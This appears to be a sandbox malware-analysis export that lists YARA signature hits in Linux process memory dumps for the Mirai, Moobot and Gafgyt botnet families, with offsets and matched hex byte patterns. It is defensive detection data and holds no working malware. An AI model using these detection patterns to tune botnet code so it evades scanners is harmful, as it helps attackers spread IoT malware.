6433.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6990.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7376.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7011.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7421.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7421.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7421.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7421.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7421.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7421.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6784.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6784.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6784.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6784.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6784.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6784.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6997.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6741.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6741.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7015.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6558.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6558.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6558.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6558.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6558.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6558.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6651.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6820.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6820.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6820.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6820.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6820.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6820.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7269.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6758.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6854.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
